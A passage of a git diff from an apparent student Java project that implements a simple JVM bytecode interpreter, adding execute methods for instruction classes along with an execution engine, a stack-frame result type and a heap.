+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
 public class GetFieldCmd extends TwoOperandCmd {
 
@@ -10,9 +14,21 @@ public GetFieldCmd(ClassFile clzFile, String opCode) {
     }
 
     @Override
-    public String toString(ConstantPool pool) {
+    public String toString() {
+
+	return super.getOperandAsField();
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+
+	FieldRefInfo fieldRef = (FieldRefInfo) this.getConstantInfo(this.getIndex());
+	String fieldName = fieldRef.getFieldName();
+	JavaObject jo = frame.getOprandStack().pop();
+	JavaObject fieldValue = jo.getFieldValue(fieldName);
+
+	frame.getOprandStack().push(fieldValue);
 
-	return super.getOperandAsField(pool);
     }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
index 1090e17374..eb943f2422 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
@@ -1,24 +1,39 @@
 package com.github.HarryHook.coding2017.jvm.cmd;
 
-
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
 import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.Heap;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
 
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
+    public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+	return super.getOperandAsField();
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+	FieldRefInfo info = (FieldRefInfo) this.getConstantInfo(this.getIndex());
+	String className = info.getClassName();
+	String fieldName = info.getFieldName();
+	String fieldType = info.getFieldType();
 
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
+	if ("java/lang/System".equals(className) && "out".equals(fieldName)
+		&& "Ljava/io/PrintStream;".equals(fieldType)) {
+	    JavaObject jo = Heap.getInstance().newObject(className);
+	    frame.getOprandStack().push(jo);
 	}
+	// TODO 处理非System.out的情况
+    }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
index 4afc337f47..3c847d847e 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
@@ -3,21 +3,39 @@
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
 import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
-
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.MethodArea;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
+import com.github.HarryHook.coding2017.jvm.method.Method;
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
 
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
+    public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+	return super.getOperandAsMethod();
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+
+	MethodRefInfo methodRefInfo = (MethodRefInfo) this.getConstantInfo(this.getIndex());
+
+	// 我们不用实现jang.lang.Object 的init方法
+	if (methodRefInfo.getClassName().equals("java/lang/Object") && methodRefInfo.getMethodName().equals("<init>")) {
+	    return;
 
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
 	}
+	Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+
+	result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+	result.setNextMethod(nextMethod);
 
-	
+    }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
index 6b494dceda..b94dba6f95 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
@@ -1,21 +1,81 @@
 package com.github.HarryHook.coding2017.jvm.cmd;
 
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
+import com.github.HarryHook.coding2017.jvm.engine.MethodArea;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
+import com.github.HarryHook.coding2017.jvm.method.Method;
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
 
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
+    public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString() {
+
+	return super.getOperandAsMethod();
+    }
+
+    private boolean isSystemOutPrintlnMethod(String className, String methodName) {
+	return "java/io/PrintStream".equals(className) && "println".equals(methodName);
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+
+	// 先得到对该方法的描述
+	MethodRefInfo methodRefInfo = (MethodRefInfo) this.getConstantInfo(this.getIndex());
+
+	String className = methodRefInfo.getClassName();
+	String methodName = methodRefInfo.getMethodName();
+
+	// 我们没有实现System.out.println方法， 所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。
+	if (isSystemOutPrintlnMethod(className, methodName)) {
+	    JavaObject jo = (JavaObject) frame.getOprandStack().pop();
+	    String value = jo.toString();
+	    System.err.println("-------------------" + value + "----------------");
+
+	    // 这里就是那个out对象， 因为是个假的，直接pop出来
+	    frame.getOprandStack().pop();
+
+	    return;
+	}
+
+	// 注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+	JavaObject jo = frame.getOprandStack().peek();
+
+	MethodArea ma = MethodArea.getInstance();
+
+	Method m = null;
+
+	String currentClassName = jo.getClassName();
+
+	while (currentClassName != null) {
+
+	    ClassFile currentClassFile = ma.findClassFile(currentClassName);
+
+	    m = currentClassFile.getMethod(methodRefInfo.getMethodName(), methodRefInfo.getParamAndReturnType());
+	    if (m != null) {
+
+		break;
+
+	    } else {
+		// 查找父类
+		currentClassName = currentClassFile.getSuperClassName();
+	    }
 	}
 
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
+	if (m == null) {
+	    throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
 	}
 
-	
-	
+	result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+
+	result.setNextMethod(m);
+    }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
index 073ddd73a9..5a611df6ae 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
@@ -4,26 +4,47 @@
 import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
 import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.Heap;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
 
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
+    public LdcCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString() {
+
+	ConstantInfo info = (ConstantInfo) getConstantInfo(this.getOperand());
+
+	String value = "TBD";
+	if (info instanceof StringInfo) {
+	    StringInfo strInfo = (StringInfo) info;
+	    value = strInfo.toString();
 	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
+
+	return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText() + " " + value;
+
+    }
+
+    public void execute(StackFrame frame, ExecutionResult result) {
+
+	ConstantPool pool = this.getConstantPool();
+	ConstantInfo info = (ConstantInfo) pool.getConstantInfo(this.getOperand());
+
+	if (info instanceof StringInfo) {
+	    StringInfo strInfo = (StringInfo) info;
+	    String value = strInfo.toString();
+	    JavaObject jo = Heap.getInstance().newString(value);
+	    frame.getOprandStack().push(jo);
+	} else {
+	    // TBD 处理其他类型
+	    throw new RuntimeException("Only support StringInfo constant");
 	}
-	
+
+    }
+
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
index 9c959e31dd..1345d7181f 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
@@ -1,19 +1,38 @@
 package com.github.HarryHook.coding2017.jvm.cmd;
 
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.Heap;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
+public class NewObjectCmd extends TwoOperandCmd {
 
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
+    public NewObjectCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString() {
+
+	return super.getOperandAsClassInfo();
+    }
+
+    public void execute(StackFrame frame, ExecutionResult result) {
+
+	int index = this.getIndex();
+
+	ClassInfo info = (ClassInfo) this.getConstantInfo(index);
+
+	String clzName = info.getClassName();
+
+	// 在Java堆上创建一个实例
+	JavaObject jo = Heap.getInstance().newObject(clzName);
+
+	frame.getOprandStack().push(jo);
+
+    }
 
-	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
index 554eac0690..c658260086 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
@@ -2,22 +2,140 @@
 
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.Heap;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
-public class NoOperandCmd extends ByteCodeCommand{
+public class NoOperandCmd extends ByteCodeCommand {
 
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
+    public NoOperandCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString() {
+	return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText();
+    }
+
+    public int getLength() {
+	return 1;
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+
+	String opCode = this.getOpCode();
+
+	if (ByteCodeCommand.aload_0.equals(opCode)) {
+
+	    JavaObject jo = frame.getLocalVariableValue(0);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.aload_1.equals(opCode)) {
+
+	    JavaObject jo = frame.getLocalVariableValue(1);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.aload_2.equals(opCode)) {
+
+	    JavaObject jo = frame.getLocalVariableValue(2);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.iload_1.equals(opCode)) {
+
+	    JavaObject jo = frame.getLocalVariableValue(1);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.iload_2.equals(opCode)) {
+
+	    JavaObject jo = frame.getLocalVariableValue(2);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.iload_3.equals(opCode)) {
+
+	    JavaObject jo = frame.getLocalVariableValue(3);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.fload_3.equals(opCode)) {
+
+	    JavaObject jo = frame.getLocalVariableValue(3);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.voidreturn.equals(opCode)) {
 
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	    result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+
+	} else if (ByteCodeCommand.ireturn.equals(opCode)) {
+	    StackFrame callerFrame = frame.getCallerFrame();
+	    JavaObject jo = frame.getOprandStack().pop();
+	    callerFrame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.freturn.equals(opCode)) {
+
+	    StackFrame callerFrame = frame.getCallerFrame();
+	    JavaObject jo = frame.getOprandStack().pop();
+	    callerFrame.getOprandStack().push(jo);
 	}
 
-	
-	
-	public  int getLength(){
-		return 1;
+	else if (ByteCodeCommand.astore_1.equals(opCode)) {
+
+	    JavaObject jo = frame.getOprandStack().pop();
+
+	    frame.setLocalVariableValue(1, jo);
+
+	} else if (ByteCodeCommand.dup.equals(opCode)) {
+
+	    JavaObject jo = frame.getOprandStack().peek();
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.iconst_0.equals(opCode)) {
+
+	    JavaObject jo = Heap.getInstance().newInt(0);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.iconst_1.equals(opCode)) {
+
+	    JavaObject jo = Heap.getInstance().newInt(1);
+
+	    frame.getOprandStack().push(jo);
+
+	} else if (ByteCodeCommand.istore_1.equals(opCode)) {
+
+	    JavaObject jo = frame.getOprandStack().pop();
+
+	    frame.setLocalVariableValue(1, jo);
+
+	} else if (ByteCodeCommand.istore_2.equals(opCode)) {
+
+	    JavaObject jo = frame.getOprandStack().pop();
+
+	    frame.setLocalVariableValue(2, jo);
+
+	} else if (ByteCodeCommand.iadd.equals(opCode)) {
+
+	    JavaObject jo1 = frame.getOprandStack().pop();
+	    JavaObject jo2 = frame.getOprandStack().pop();
+
+	    JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue() + jo2.getIntValue());
+
+	    frame.getOprandStack().push(sum);
+
+	} else if (ByteCodeCommand.aconst_null.equals(opCode)) {
+
+	    frame.getOprandStack().push(null);
+
+	} else {
+	    throw new RuntimeException("you must forget to implement the operation :" + opCode);
 	}
 
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
index f3a197114c..91549d7c01 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
@@ -1,19 +1,43 @@
 package com.github.HarryHook.coding2017.jvm.cmd;
 
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
 
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
+    public PutFieldCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+    }
 
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
+    @Override
+    public String toString() {
 
+	return super.getOperandAsField();
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+
+	FieldRefInfo fieldRef = (FieldRefInfo) this.getConstantInfo(this.getIndex());
+
+	ClassInfo clzInfo = (ClassInfo) this.getConstantInfo(fieldRef.getClassInfoIndex());
+	NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo) this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+	// for example : name
+	String fieldName = nameTypeInfo.getName();
+	// for example : Ljava/lang/String : 注意：我们不再检查类型
+	String fieldType = nameTypeInfo.getTypeInfo();
+
+	JavaObject fieldValue = frame.getOprandStack().pop();
+	JavaObject objectRef = frame.getOprandStack().pop();
+
+	objectRef.setFieldValue(fieldName, fieldValue);
+
+    }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
index 13edc86215..d0d38f368f 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
@@ -7,61 +7,62 @@
 import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
 import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
 
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
+public abstract class TwoOperandCmd extends ByteCodeCommand {
 
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
+    int oprand1 = -1;
+    int oprand2 = -1;
 
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
+    public int getOprand1() {
+	return oprand1;
+    }
 
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
+    public void setOprand1(int oprand1) {
+	this.oprand1 = oprand1;
+    }
 
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
+    public void setOprand2(int oprand2) {
+	this.oprand2 = oprand2;
+    }
 
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
+    public int getOprand2() {
+	return oprand2;
+    }
+
+    public TwoOperandCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+    }
+
+    public int getIndex() {
+	int oprand1 = this.getOprand1();
+	int oprand2 = this.getOprand2();
+	int index = oprand1 << 8 | oprand2;
+	return index;
+    }
+
+    protected String getOperandAsClassInfo() {
+	int index = getIndex();
+	String codeTxt = getReadableCodeText();
+	ClassInfo info = (ClassInfo) getConstantInfo(index);
+	return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.getClassName();
+    }
+
+    protected String getOperandAsMethod() {
+	int index = getIndex();
+	String codeTxt = getReadableCodeText();
+	ConstantInfo constInfo = this.getConstantInfo(index);
+	MethodRefInfo info = (MethodRefInfo) this.getConstantInfo(index);
+	return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.toString();
+    }
+
+    protected String getOperandAsField() {
+	int index = getIndex();
+
+	String codeTxt = getReadableCodeText();
+	FieldRefInfo info = (FieldRefInfo) this.getConstantInfo(index);
+	return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.toString();
+    }
+
+    public int getLength() {
+	return 3;
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
index e4822e2bbb..3ea5bcbc53 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
@@ -25,8 +25,9 @@ public String getClassName() {
 	UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
 	return utf8Info.getValue();
     }
+
     @Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
+    public void accept(Visitor visitor) {
+	visitor.visitClassInfo(this);
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
index 6c502016a3..cf046f6b2e 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
@@ -27,17 +27,22 @@ public ConstantPool getConstantPool() {
     public ConstantInfo getConstantInfo(int index) {
 	return this.constantPool.getConstantInfo(index);
     }
-    
+
     public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-   
+
+    public static interface Visitor {
+	public void visitClassInfo(ClassInfo info);
+
+	public void visitFieldRef(FieldRefInfo info);
+
+	public void visitMethodRef(MethodRefInfo info);
+
+	public void visitNameAndType(NameAndTypeInfo info);
+
+	public void visitString(StringInfo info);
+
+	public void visistUTF8(UTF8Info info);
+
+    }
+
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutionResult.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..2e6a07838c
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutionResult.java
@@ -0,0 +1,53 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+import com.github.HarryHook.coding2017.jvm.method.Method;
+
+public class ExecutionResult {
+    public static final int RUN_NEXT_CMD = 1;
+    public static final int JUMP = 2;
+    public static final int EXIT_CURRENT_FRAME = 3;
+    public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+
+    private int nextAction = RUN_NEXT_CMD;
+
+    private int nextCmdOffset = 0;
+
+    private Method nextMethod;
+
+    public Method getNextMethod() {
+	return nextMethod;
+    }
+
+    public void setNextMethod(Method nextMethod) {
+	this.nextMethod = nextMethod;
+    }
+
+    public void setNextAction(int action) {
+	this.nextAction = action;
+    }
+
+    public boolean isPauseAndRunNewFrame() {
+	return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+    }
+
+    public boolean isExitCurrentFrame() {
+	return this.nextAction == EXIT_CURRENT_FRAME;
+    }
+
+    public boolean isRunNextCmd() {
+	return this.nextAction == RUN_NEXT_CMD;
+    }
+
+    public boolean isJump() {
+	return this.nextAction == JUMP;
+    }
+
+    public int getNextCmdOffset() {
+	return nextCmdOffset;
+    }
+
+    public void setNextCmdOffset(int nextCmdOffset) {
+	this.nextCmdOffset = nextCmdOffset;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutorEngine.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..85eeeaba50
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,78 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.github.HarryHook.coding2017.jvm.attr.CodeAttr;
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+import com.github.HarryHook.coding2017.jvm.method.Method;
+
+public class ExecutorEngine {
+
+    private Stack<StackFrame> stack = new Stack<StackFrame>();
+
+    public ExecutorEngine() {
+
+    }
+
+    public void execute(Method mainMethod) {
+
+	StackFrame mainFrame = StackFrame.create(mainMethod);
+	stack.push(mainFrame);
+
+	while (!stack.empty()) {
+
+	    StackFrame frame = stack.peek();
+
+	    ExecutionResult result = frame.execute();
+
+	    if (result.isPauseAndRunNewFrame()) {
+
+		Method nextMethod = result.getNextMethod();
+		StackFrame nextFrame = StackFrame.create(nextMethod);
+		nextFrame.setCallerFrame(frame);
+		setupFunctionCallParams(frame, nextFrame);
+
+		stack.push(nextFrame);
+
+	    } else {
+
+		stack.pop();
+
+	    }
+	}
+
+    }
+
+    private void setupFunctionCallParams(StackFrame currentFrame, StackFrame nextFrame) {
+
+	Method nextMethod = nextFrame.getMethod();
+
+	List<String> paramList = nextMethod.getParameterList();
+
+	// 加上1 是因为要把this也传递过去
+
+	int paramNum = paramList.size() + 1;
+
+	List<JavaObject> values = new ArrayList<JavaObject>();
+
+	// 数据结构知识： 从栈中取出栈顶的x个元素
+	while (paramNum > 0) {
+	    values.add(currentFrame.getOprandStack().pop());
+	    paramNum--;
+	}
+	// 数据结构知识： 把一个列表倒序排列
+	List<JavaObject> params = new ArrayList<JavaObject>();
+
+	for (int i = values.size() - 1; i >= 0; i--) {
+	    params.add(values.get(i));
+	}
+
+	nextFrame.setLocalVariableTable(params);
+
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/Heap.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/Heap.java
new file mode 100644
index 0000000000..f249407d7f
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/Heap.java
@@ -0,0 +1,43 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+public class Heap {
+
+    /**
+     * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+     */
+
+    private static Heap instance = new Heap();
+
+    private Heap() {
+    }
+
+    public static Heap getInstance() {
+	return instance;
+    }
+
+    public JavaObject newObject(String clzName) {
+
+	JavaObject jo = new JavaObject(JavaObject.OBJECT);
+	jo.setClassName(clzName);
+	return jo;
+    }
+
+    public JavaObject newString(String value) {
+	JavaObject jo = new JavaObject(JavaObject.STRING);
+	jo.setStringValue(value);
+	return jo;
+    }
+
+    public JavaObject newFloat(float value) {
+	JavaObject jo = new JavaObject(JavaObject.FLOAT);
+	jo.setFloatValue(value);
+	return jo;
+    }
+
+    public JavaObject newInt(int value) {
+	JavaObject jo = new JavaObject(JavaObject.INT);
+	jo.setIntValue(value);
+	return jo;
+    }
+
+}
